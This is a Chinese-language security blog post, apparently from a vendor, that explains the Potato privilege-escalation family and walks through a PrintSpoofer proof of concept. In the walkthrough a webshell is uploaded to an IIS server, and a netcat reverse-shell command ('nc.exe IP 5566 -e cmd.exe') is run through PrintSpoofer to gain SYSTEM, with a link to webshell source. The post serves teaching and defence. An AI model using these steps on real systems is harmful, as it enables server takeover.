PrintSpoofer 是熱門的 Potato 家族相關提權工具,常利用特權帳號漏洞奪取系統控制權。本文深入拆解 PrintSpoofer POC 攻擊流程與手法,並提供企業IT專家有效的安全修補指南,助您杜絕惡意提權。


這次想介紹一下PrintSpoofer

是Potato家族相關系列衍伸出來的提權工具。

所謂的Hot Potato 相關的漏洞,在2016年時候,研究員Stephen Breen 發表的exploit code https://github.com/foxglovesec/Potato。

後續就算微軟修補後,也還是有新的potato產出。


一、Potato家族相關的POC code年表


Potato家族相關的POC code年表


除了以上列出的還有很多族繁不及備載。


potato 漏洞利用家族的主要是透過將 NTLM 驗證從某個 NT AUTHORITY\SYSTEM的process中繼到本地身份驗證AcceptSecurityContext(),從服務帳戶使用者(擁有 SeImpersonatePrivilege 或是 SeAssignPrimaryTokenPrivilege)取得高權限的存取權token。


這次我們來分享一下PrintSpoofer,之前相關的像是JuicyPotato因為隨著windows的修補後,較新的windows版本就不能使用了,也是因為這些原因才會後續又產生出這麼多的變異Potato。


使用方式其實不難,重點如上述所說,拿到有SeImpersonatePrivilege 或是SeAssignPrimaryTokenPrivilege的帳號,就可以利用工具拿到system權限。


下面POC過程、工具都是網路上就搜尋的到的工具,來簡單的示範一下是如何拿到system權限。


二、PrintSpoofer POC

首先我們要先找到一台有裝IIS,且具有上傳功能的頁面,並且上傳從網路上撿來的webshell。


PrintSpoofer POC


上傳成功之後連到webshell的位置,可以先看一下現在的帳號。


PrintSpoofer POC


以及確認所擁有的權限。


PrintSpoofer POC


可以確認有SeImpersonatePrivilege 且狀態是啟用中,接著來把要使用的PrintSpoofer.exe上傳上去。


當你下-h指令 可以看到PrintSpoofer 有以下指令可以使用以及範例,其他更詳述的可以參考提供者的Github。


PrintSpoofer POC


在提權之前,因為我們需要先建立可以接收連回來的shell


參考PrintSpoofer作者的Github POC使用情境可以使用第二種


PrintSpoofer POC


現在我們自己的機器上開啟一個nc的監聽模式,並且指定一個port。


PrintSpoofer POC


接著我們可以再次利用具有上傳功能的那一頁再把nc的檔案上傳上去


輸入指令 C:\[path]\PrintSpoofer.exe -c "C:\[path]\nc.exe IP 5566 -e cmd.exe" 再送出就可以了


PrintSpoofer POC


接著,就能在這台機器上看到跳出shell


PrintSpoofer POC


再來,下whoami指令確認,就能看到確認為是system的使用者了。


會造成上述形況是因為SeImpersonatePrivilege 權限會預設包含IIS_IUSRS群組,如果想要來限制這部分權限的需求,可以參考這個網址:https://decoder.cloud/2020/12/14/hands-off-my-iis-accounts/

有任何資安問題,歡迎隨時與NEITHNET團隊聯繫!

參考資料:

https://itm4n.github.io/printspoofer-abusing-impersonate-privileges

https://hideandsec.sh/books/windows-sNL/page/in-the-potato-family-i-want-them-all

https://github.com/bodik/awesome-potatoes

https://micahvandeusen.com/the-power-of-seimpersonation

https://github.com/itm4n/PrintSpoofer

https://github.com/Ignitetechnologies

https://github.com/tennc/webshell/blob/master/fuzzdb-webshell/asp/cmdasp.aspx